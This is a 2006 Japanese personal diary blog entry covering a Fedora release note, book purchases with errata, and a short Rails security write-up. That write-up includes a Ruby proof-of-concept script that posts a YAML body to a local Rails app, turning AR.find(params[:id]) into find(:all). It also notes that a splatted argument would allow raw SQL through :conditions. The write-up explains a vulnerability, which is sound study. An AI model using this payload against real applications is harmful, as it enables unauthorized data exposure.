トップ «前の日記(2006-01-13) 最新 次の日記(2006-01-27)» 編集

3 日坊主日記


2006-01-19 [長年日記]

_ [Fedora] FC3がLegacyに

FC5 Test2を受けてFC3がLegacyに移行。 さすがにサイクルが早いなあ…

_ [] 大人買い

MMORPGゲームサーバープログラミング MMORPGゲームサーバープログラミング

チャット・キャラクタ・NPC・戦闘システム・商店・スキルと、章立てはMMOGそのものですが、 プロトコル設計とかpthreadとかプログラミング本として普通におもしろくてためになる(手を動かせばだけど)と思われます。落ち着いたらC言語のリハビリをしよう。

追記: 製品紹介からソースをダウンロードできる。

はじめて学ぶソフトウェアのテスト技法 はじめて学ぶソフトウェアのテスト技法 この手の本としては小さなサイズ。カタログ的。

マイヤー (ソフトウェア・テストの技法)

バイザー (ソフトウェアテスト技法―自動化、品質保証、そしてバグの未然防止のために)

の古典的名著よりはかなり読みやすい。

ブルワー=リットン小説コンテストからの引用は、馬鹿馬鹿しくてとてもおもしろい。^^;

追記: errata p.113 表8-4 5,6列のGPA/ACT行の数値の位置がおかしい。3.7/34はon行, 3.8/32はoff行のはず。

p.141 図10-12 E-Q間のパス(を示す太線)が間違っている。

Joel on Software Joel on Software

とりあえず買っておく。

レタス・フライ レタス・フライ

新書は買わない人なんだけど、とりあえず買い。 あと、四季の夏・冬を買いました。春・秋はブックオフにあった。

犀川先生もさすがに飽きてきたので (杜萌まで読んだ)

月は幽咽のデバイス 月は幽咽のデバイス

こっちも進めておく。またデザインがいい。

_ [Rails] AR.find(params[:id]) に対する攻撃

YAMLを使うと(XMLでもできるかもしれない)外部パラメータ:idにシンボル:allを渡してfind(:all)にしてしまえる。

params = {:id => :all}
require 'net/http'
Net::HTTP.version_1_2
Net::HTTP.start('localhost', 3000) do |http|
  header = {}
  header['Content-Type'] = 'text/x-yaml'
  require 'yaml'
  body = params.to_yaml
  puts body
  response = http.post('/admin/edit', body, header)
  puts response.body
end

ほかのパターンも考えてみたけど、findの引数がひとつであれば大きな穴はなさそう。

ようするに

 AR.find(*params[:id])

だとなんでもありになってしまう (:conditionsに直接SQLを書けるのでサニタイズを回避できる)。

[]